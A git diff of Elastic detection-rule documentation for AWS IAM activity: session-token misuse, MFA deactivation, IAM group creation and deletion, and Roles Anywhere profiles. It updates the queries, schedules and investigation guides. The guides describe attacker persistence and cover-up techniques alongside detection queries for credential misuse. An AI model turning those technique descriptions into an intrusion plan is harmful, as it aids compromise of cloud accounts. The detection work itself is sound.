+  - Federated logins (via AWS SSO or external IdPs) can also generate temporary "ASIA" credentials. Verify if the source identity 
+    aligns with expected roles or groups.
+- **Console Login Session**
+  - Console login sessions result in temporary "ASIA" credentials and can typically be ignored for this alert. This can be verified in `event.original` as `sessionCredentialFromConsole: true`
 
 
-- Review `aws.cloudtrail.user_identity.arn` to determine which IAM user or assumed role initiated the request.
-- Check `aws.cloudtrail.user_identity.access_key_id` to confirm if the credential starts with 'ASIA', indicating a temporary session token.
-- Examine `aws.cloudtrail.user_identity.session_context.mfa_authenticated` to verify whether MFA was present during session creation.
-- Investigate `source.ip` to assess whether the request originated from a known network, office IP, or corporate VPN.
-- Look at `user_agent.original` to determine if the API call came from a known CLI version or unexpected tool (e.g., unknown SDK, custom script).
-- Confirm whether a recent sts:GetSessionToken, sts:AssumeRole, or AWS SSO login event issued the temporary credential.
-- Correlate other events using the same access key ID to identify additional privileged actions, such as iam:CreateAccessKey, iam:PutUserPolicy, or iam:EnableMFADevice.
-- Analyze timing via @timestamp to determine if the action occurred during off-hours or deviates from normal user behavior.
-- Review the `event.outcome` to check if the API call was successful or failed, which may indicate unauthorized access attempts.
-- Check for related events in the same session, such as iam:CreateUser, iam:AttachUserPolicy, or sts:GetCallerIdentity, to identify potential lateral movement or privilege escalation.
+*Response and remediation*
 
 
-*False positive analysis:*
+- **Containment**
+  - If activity is unauthorized, immediately revoke the temporary session by invalidating the associated IAM credentials.
+  - Rotate long-term credentials (access keys, passwords) for the parent IAM user or role.
 
+- **Investigation**
+  - Search for all actions linked to the same `access_key_id` to assess potential persistence or lateral movement.
+  - Examine the creation of new users, keys, or policies during or shortly after the detected session.
 
-- Determine if the IAM user or automation pipeline routinely performs privileged actions using temporary session tokens.
-- Validate whether the MFA context and source IP match expected developer or CI/CD behavior.
-- Review recent IAM policy changes or deployments that may explain the behavior.
-- Confirm if the user has a legitimate reason to perform sensitive IAM operations with temporary credentials, such as during a deployment or maintenance window.
+- **Recovery and hardening**
+  - Require MFA for all privileged actions using `aws:MultiFactorAuthPresent` conditions.
+  - Implement detection coverage for follow-on persistence actions such as:
+    - `iam:CreateAccessKey`
+    - `iam:PutUserPolicy`
+    - `iam:UpdateAssumeRolePolicy`
+  - Educate administrative users and developers on secure token handling and the risks of shared credential reuse.
 
 
-*Response and remediation:*
+*Additional information*
 
 
-- Revoke the temporary session token and rotate long-term access keys for the associated user if the behavior is unauthorized.
-- Audit related CloudTrail events within the same session to identify policy changes, resource creation, or lateral movement.
-- Add explicit deny statements in IAM policies to prevent sensitive IAM actions when aws:authType is not "console".
-- Implement IP restrictions for IAM and STS API actions using aws:SourceIp conditions.
-- Strengthen monitoring for IAM activity initiated by session tokens with MFA to improve detection coverage.
+For more information on detecting and mitigating session token abuse:
+- **https://docs.aws.amazon.com/STS/latest/APIReference/Welcome.html[AWS Security Token Service (STS) Documentation]**
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
 
 ==== Rule query
@@ -103,6 +151,8 @@ event.dataset: aws.cloudtrail
     and event.outcome: "success"
     and aws.cloudtrail.user_identity.type: "IAMUser"
     and aws.cloudtrail.user_identity.access_key_id: ASIA*
+    and source.ip: *
+    and not user_agent.original : "AWS Internal"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc
index 9eaa84e935..b2bc4415b8 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc
@@ -35,7 +35,7 @@ This rule looks for use of the IAM `AttachUserPolicy` API operation to attach th
 * Use Case: Identity and Access Audit
 * Tactic: Credential Access
 
-*Version*: 4
+*Version*: 5
 
 *Rule authors*: 
 
@@ -94,7 +94,7 @@ For further guidance on managing and securing credentials in AWS environments, r
 
 [source, js]
 ----------------------------------
-any where event.dataset == "aws.cloudtrail"
+iam where event.dataset == "aws.cloudtrail"
    and event.action == "AttachUserPolicy"
    and event.outcome == "success"
    and stringContains(aws.cloudtrail.request_parameters, "AWSCompromisedKeyQuarantine")
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-deactivation-of-mfa-device.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-deactivation-of-mfa-device.asciidoc
index a0138e89e7..05ec182736 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-deactivation-of-mfa-device.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-deactivation-of-mfa-device.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-deactivation-of-mfa-device]]
 === AWS IAM Deactivation of MFA Device
 
-Identifies the deactivation of a specified multi-factor authentication (MFA) device and removes it from association with the user name for which it was originally enabled. In AWS Identity and Access Management (IAM), a device must be deactivated before it can be deleted.
+Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deactivation of a specified multi-factor authentication (MFA) dev
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,12 +30,13 @@ Identifies the deactivation of a specified multi-factor authentication (MFA) dev
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: AWS CloudTrail
 * Data Source: AWS IAM
 * Resources: Investigation Guide
 * Tactic: Impact
 * Tactic: Persistence
 
-*Version*: 212
+*Version*: 213
 
 *Rule authors*: 
 
@@ -52,62 +53,86 @@ Identifies the deactivation of a specified multi-factor authentication (MFA) dev
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and validated for accuracy and relevance. Always
+> tailor the steps to your organization's environment and operational context.
+
 
 *Investigating AWS IAM Deactivation of MFA Device*
 
 
-Multi-factor authentication (MFA) in AWS is a simple best practice that adds an extra layer of protection on top of your user name and password. With MFA enabled, when a user signs in to an AWS Management Console, they will be prompted for their user name and password (the first factor—what they know), as well as for an authentication code from their AWS MFA device (the second factor—what they have). Taken together, these multiple factors provide increased security for your AWS account settings and resources.
+This rule detects successful deactivation of a Virtual MFA device in AWS IAM. 
+Deactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. 
+Since MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity.
 
 For more information about using MFA in AWS, access the https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[official documentation].
 
-This rule looks for the deactivation or deletion of AWS MFA devices. These modifications weaken account security and can lead to the compromise of accounts and other assets.
-
 
 *Possible investigation steps*
 
 
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Identify the actor and context**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation.
+  - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions.
+  - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK.
+
+- **Review the source and location**
+  - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations.
+  - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint.
+
+- **Correlate with other related activity**
+  - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration.
+  - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted — a common follow-up action.
+  - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation.
+
+- **Validate authorization**
+  - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation.
+  - If not documented or approved, escalate as a potential credential compromise or persistence attempt.
 
 
 *False positive analysis*
 
 
-- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain.
+- **Legitimate device rotation**
+  - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled.
+- **Administrative maintenance**
+  - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows.
 
 
 *Response and remediation*
 
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Reactivate multi-factor authentication for the user.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+- **Containment**
+  - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed.
+  - Revoke temporary credentials or tokens associated with the actor to prevent further misuse.
+
+- **Investigation and scoping**
+  - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal.
+  - Determine whether sensitive resources were accessed after MFA removal.
+  - Identify whether multiple users had MFA devices deactivated in a short timeframe — an indicator of broader compromise.
+
+- **Recovery and hardening**
+  - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs).
+  - Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes.
+
 
-==== Setup
+*Additional information*
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html[DeactivateMFADevice API Reference]**  
+- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** 
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:(DeactivateMFADevice or DeleteVirtualMFADevice) and event.outcome:success
+event.dataset: aws.cloudtrail 
+    and event.provider: iam.amazonaws.com 
+    and event.action: DeactivateMFADevice 
+    and event.outcome: success
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-group-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-group-creation.asciidoc
index 658a0d30cd..fb7daa9075 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-group-creation.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-group-creation.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-group-creation]]
 === AWS IAM Group Creation
 
-Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group.
+Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the creation of a group in AWS Identity and Access Management (IAM).
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -35,7 +35,7 @@ Identifies the creation of a group in AWS Identity and Access Management (IAM).
 * Tactic: Persistence
 * Resources: Investigation Guide
 
-*Version*: 209
+*Version*: 210
 
 *Rule authors*: 
 
@@ -58,52 +58,65 @@ Identifies the creation of a group in AWS Identity and Access Management (IAM).
 *Investigating AWS IAM Group Creation*
 
 
-AWS IAM allows organizations to manage user access and permissions securely. Groups in IAM simplify permission management by allowing multiple users to inherit the same permissions. However, adversaries may exploit this by creating unauthorized groups to gain persistent access. The detection rule monitors successful group creation events, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized access attempts.
+AWS IAM allows organizations to manage user access and permissions securely. Groups in IAM simplify permission management by allowing multiple users to inherit the same permissions. However, adversaries may exploit this by creating unauthorized groups to gain persistent access. This alert fires on `CreateGroup`. New group creation may indicate attacker staging for persistence, especially if followed by policy attachments or user additions.
 
 
 *Possible investigation steps*
 
 
-- Review the AWS CloudTrail logs for the specific event.provider: iam.amazonaws.com and event.action: CreateGroup to identify the user or service that initiated the group creation.
-- Check the event.dataset: aws.cloudtrail logs for any associated event.outcome: success entries to confirm the successful creation of the group.
-- Investigate the permissions assigned to the newly created group to assess if they include any sensitive or high-privilege permissions that could pose a security risk.
-- Identify and review the IAM user or role that created the group to determine if they have a legitimate reason for this action and if their activity aligns with their typical behavior.
-- Cross-reference the group creation event with other recent IAM activities, such as user additions to the group or changes to group policies, to detect any suspicious patterns or anomalies.
-- Consult with relevant stakeholders or the user responsible for the group creation to verify the legitimacy of the action and gather additional context if necessary.
+- **Identify the actor and context**  
+  - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` to determine who performed the group creation.  
+  - Review `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for unusual network, client, or region usage.
+
+- **Examine the group details**  
+  - From `aws.cloudtrail.response_elements`, extract `groupName` and `path` (e.g., /service/, /dev/).
+  - Look for immediate follow-on changes by the same actor within the next 15–30 minutes:
+    - AttachGroupPolicy (especially AdministratorAccess or broad s3:*, iam:*).
+    - AddUserToGroup (who was added and when?).
+  - Use GetGroup to enumerate current group membership and attached policies during triage.
+
+- **Correlate with broader activity**  
+  - Look for prior suspicious actions by the same user: `AssumeRole`, `CreateAccessKey`, new IAM user/role.  
+  - After group creation, watch for data-access or configuration changes (e.g., S3 policy updates, KMS key policy changes) 
 
 
 *False positive analysis*
 
 
-- Routine administrative actions by authorized personnel can trigger alerts. Regularly review and document legitimate group creation activities to differentiate them from unauthorized actions.
-- Automated scripts or tools used for infrastructure management may create groups as part of their normal operation. Identify and whitelist these scripts to prevent unnecessary alerts.
-- Temporary groups created for short-term projects or testing purposes might be flagged. Implement a naming convention for such groups and exclude them from alerts based on this pattern.
-- Scheduled tasks or maintenance activities that involve group creation should be logged and approved in advance. Use these logs to create exceptions in the detection rule.
-- Third-party integrations or services that require group creation for functionality can cause false positives. Verify these integrations and adjust the rule to exclude their known actions.
+- IAM onboarding workflows or DevOps pipelines creating groups for new projects can trigger this alert.  
+- Test or sandbox accounts often create and delete groups routinely, validate account context and approval flows.
+
+
+*Response and remediation:*
 
 
-*Response and remediation*
+- **Containment**: 
+  - If suspicious, disable further changes by the actor (temporarily remove IAM write privileges or deactivate keys).
+  - Place a change freeze on the newly created group (block `AttachGroupPolicy`/`AddUserToGroup` via SCP/permissions boundary until review completes).
 
+- **Investigation and scoping**: 
+  - Use `GetGroup`, `ListAttachedGroupPolicies`, `ListUsersInGroup` to enumerate the group’s state and identify any suspicious policies or members. Investigate any attached policies granting broad privileges. 
+  - Hunt for same-actor `AttachGroupPolicy`/`AddUserToGroup` events across the last 24–48h.
+ 
+- **Recovery and hardening**: 
+  - Delete unauthorized, unused or suspicious groups. remove rogue policies/members.
+  - Restrict who can call `iam:CreateGroup`, `iam:AttachGroupPolicy`, and `iam:AddUserToGroup` (least privilege). 
 
-- Immediately review the AWS CloudTrail logs to confirm the unauthorized creation of the IAM group and identify the user or service responsible for the action.
-- Revoke any permissions associated with the newly created IAM group to prevent further unauthorized access or actions.
-- Temporarily disable or delete the unauthorized IAM group to contain the threat and prevent any potential misuse.
-- Conduct a thorough audit of recent IAM changes to identify any other unauthorized activities or anomalies that may indicate further compromise.
-- Escalate the incident to the security operations team for a detailed investigation and to assess the potential impact on the organization's security posture.
-- Implement additional monitoring and alerting for IAM group creation events to enhance detection capabilities and prevent similar incidents in the future.
-- Review and update IAM policies and permissions to ensure they follow the principle of least privilege, reducing the risk of unauthorized access.
 
-==== Setup
+*Additional information*
 
+https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices]
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:CreateGroup and event.outcome:success
+event.dataset: aws.cloudtrail and 
+    event.provider: iam.amazonaws.com and 
+    event.action: CreateGroup and 
+    event.outcome: success
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-group-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-group-deletion.asciidoc
index f0c86b40b2..3050ecd46b 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-group-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-group-deletion.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-group-deletion]]
 === AWS IAM Group Deletion
 
-Identifies the deletion of a specified AWS Identity and Access Management (IAM) resource group. Deleting a resource group does not delete resources that are members of the group; it only deletes the group structure.
+Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deletion of a specified AWS Identity and Access Management (IAM)
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -34,7 +34,7 @@ Identifies the deletion of a specified AWS Identity and Access Management (IAM)
 * Tactic: Impact
 * Resources: Investigation Guide
 
-*Version*: 209
+*Version*: 210
 
 *Rule authors*: 
 
@@ -57,51 +57,55 @@ Identifies the deletion of a specified AWS Identity and Access Management (IAM)
 *Investigating AWS IAM Group Deletion*
 
 
-AWS IAM groups facilitate user management by organizing users with similar permissions. Adversaries might exploit group deletion to disrupt access controls, potentially leading to unauthorized access or service disruption. The detection rule monitors successful group deletions via AWS CloudTrail, flagging potential misuse by correlating specific IAM actions and outcomes, thus aiding in timely threat identification.
+Attackers sometimes remove groups to erase evidence, disrupt operations, or prevent users from receiving needed permissions (Impact). Deletion can also follow malicious cleanup after attaching policies and using the group briefly. This alert fires on `DeleteGroup` API call. Consider intentional disruption or covering tracks, particularly if the group was privileged or recently modified.
 
 
 *Possible investigation steps*
 
 
-- Review the AWS CloudTrail logs to identify the user or role that performed the DeleteGroup action by examining the userIdentity field.
-- Check the event time to determine when the group deletion occurred and correlate it with any other suspicious activities around the same timeframe.
-- Investigate the specific IAM group that was deleted to understand its purpose and the permissions it granted by reviewing historical IAM policies and group membership.
-- Assess the impact of the group deletion by identifying any users or services that might have been affected due to the loss of group-based permissions.
-- Verify if the group deletion was authorized by cross-referencing with change management records or contacting the responsible team or individual.
-- Look for any patterns or repeated occurrences of similar actions in the logs to identify potential malicious behavior or misconfigurations.
+- **Identify the actor and environment**  
+  - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id`.  
+  - Check `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for atypical activity.
+
+- **Determine what was lost**
+  - From `aws.cloudtrail.request_parameters`, capture `groupName`.  
+  - Use history or logs to identify existing members and attached policies prior to deletion (ex: `GetGroup`, `ListAttachedGroupPolicies`).  
+  - Determine if the group contained privileged roles/policies that could have been weaponized.
+
+- **Correlate with related activity**
+  - Look in the prior 1–24h for `DetachGroupPolicy`, `RemoveUserFromGroup`, `DeleteGroupPolicy`, which often precede deletion in adversary cleanup workflows.  
+  - After deletion, monitor for creation of new similarly-named groups, or re-attachment of policies to other groups/roles.
 
 
 *False positive analysis*
 
 
-- Routine administrative tasks may trigger alerts when IAM groups are deleted as part of regular maintenance or restructuring. To manage this, create exceptions for known maintenance periods or specific administrative accounts.
-- Automated scripts or tools that manage IAM resources might delete groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific user or role identifiers.
-- Temporary groups created for short-term projects or testing purposes might be deleted frequently. Document these groups and exclude their deletion from monitoring by using naming conventions or tags.
-- Changes in organizational structure or policy might necessitate the deletion of certain groups. Coordinate with relevant teams to anticipate these changes and adjust monitoring rules accordingly.
+- Projects & services that are being decommissioned often require group deletion. Confirm through internal inventory and change control.  
+- Sandbox or dev accounts frequently create and delete groups; ensure the environment context is understood.
 
 
 *Response and remediation*
 
 
-- Immediately revoke any active sessions and access keys for users who were part of the deleted IAM group to prevent unauthorized access.
-- Restore the deleted IAM group from a backup or recreate it with the same permissions to ensure continuity of access for legitimate users.
-- Conduct a review of recent IAM activity logs to identify any unauthorized or suspicious actions that may have preceded the group deletion.
-- Notify the security team and relevant stakeholders about the incident for awareness and further investigation.
-- Implement additional monitoring on IAM activities, especially focusing on group management actions, to detect similar threats in the future.
-- Review and tighten IAM policies and permissions to ensure that only authorized personnel can delete IAM groups.
-- If malicious intent is suspected, escalate the incident to the incident response team for a comprehensive investigation and potential legal action.
+- **Containment**: If deletion was unauthorized, restrict the actor’s IAM privileges and block further configuration changes.  
+- **Investigation and scoping**: Recover details of the deleted group (members, policies) from logs or AWS Config, and determine the impact of the deletion (which users lost membership, service account disruption).  
+- **Recovery and hardening**: Recreate the group if necessary, restore intended policies and memberships, enforce change-control for group deletions, restrict `iam:DeleteGroup` privileges, and create alerts for destructive IAM operations.
+
 
-==== Setup
+*Additional information*
 
+https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices]
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:DeleteGroup and event.outcome:success
+event.dataset: aws.cloudtrail and 
+    event.provider: iam.amazonaws.com and 
+    event.action: DeleteGroup and 
+    event.outcome: success
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-profile-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-profile-creation.asciidoc
index eb72a8b8b4..fce66de5c7 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-profile-creation.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-profile-creation.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-roles-anywhere-profile-creation]]
 === AWS IAM Roles Anywhere Profile Creation
 
-Identifies the creation of an AWS Roles Anywhere profile. AWS Roles Anywhere is a feature that allows you to use AWS Identity and Access Management (IAM) profiles to manage access to your AWS resources from any location via trusted anchors. This rule detects the creation of a profile that can be assumed from any service. Adversaries may create profiles tied to overly permissive roles to maintain access to AWS resources. Ensure that the profile creation is expected and that the trust policy is configured securely.
+Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the creation of an AWS Roles Anywhere profile. AWS Roles Anywhere is
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -37,7 +37,7 @@ Identifies the creation of an AWS Roles Anywhere profile. AWS Roles Anywhere is
 * Tactic: Persistence
 * Resources: Investigation Guide
 
-*Version*: 5
+*Version*: 6
 
 *Rule authors*: 
 
@@ -53,48 +53,99 @@ Identifies the creation of an AWS Roles Anywhere profile. AWS Roles Anywhere is
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to suit your operational needs.
+
 
 *Investigating AWS IAM Roles Anywhere Profile Creation*
 
 
-This rule detects the creation of an AWS Roles Anywhere profile. AWS Roles Anywhere allows you to use AWS Identity and Access Management (IAM) profiles to manage access to your AWS resources from any location via trusted anchors. Adversaries may create profiles tied to overly permissive roles to maintain access to AWS resources. It is crucial to ensure that the profile creation is expected and that the trust policy is configured securely.
+AWS IAM Roles Anywhere allows external workloads — such as CI/CD runners, on-premises systems, or third-party services — 
+to assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that 
+can be assumed, the trust anchor they are associated with, and session duration limits.
+
+This rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile 
+creation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with 
+unauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles 
+and anchors are in use.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine 
+    which IAM user, role, or principal created the profile.
+  - Check whether this identity normally manages Roles Anywhere configurations.
+
+- **Review profile configuration**
+  - Inspect `aws.cloudtrail.request_parameters` for key values such as:
+    - `profileName`
+    - `roleArns` – confirm that the listed IAM roles are expected and not overly permissive.
+    - `trustAnchorArn` – verify the trust anchor is valid and authorized.
+    - `durationSeconds` – check for unusually long session durations.
+  - Determine if multiple roles were attached, which may indicate excessive privilege aggregation.
+
+- **Correlate related activity**
+  - Check for prior or concurrent events by the same actor, including:
+    - `CreateTrustAnchor` with external or unauthorized certificate authorities.
+    - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths.
+  - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile.
 
+- **Assess the source context**
+  - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs).
+  - Compare to baseline patterns of legitimate IAM or infrastructure automation.
 
-*Possible Investigation Steps:*
+- **Validate legitimacy**
+  - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation 
+    aligns with approved change management or onboarding activities.
 
 
-- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who created the profile. Verify if this actor typically performs such actions and if they have the necessary permissions.
-- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the profile creation. Look for any unusual parameters or overly permissive roles that could suggest unauthorized or malicious activity.
-- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the location and origin of the request. Ensure the request originated from a known and trusted location.
-- **Check the Created Profile’s Permissions**: Review the `roleArns` associated with the created profile. Verify that the roles are appropriate for the user's intended actions and do not grant excessive permissions.
-- **Verify the Profile’s Configuration**: Ensure that the profile's `durationSeconds`, `enabled`, and `tags` are configured according to your organization's security policies. Pay particular attention to any configuration that might allow prolonged access or concealment of activity.
 
+*False positive analysis:*
 
-*False Positive Analysis:*
 
+- **Legitimate administrative actions**
+  - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. 
+    Validate against change control records and deployment logs.
+- **Authorized automation**
+  - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create profiles. 
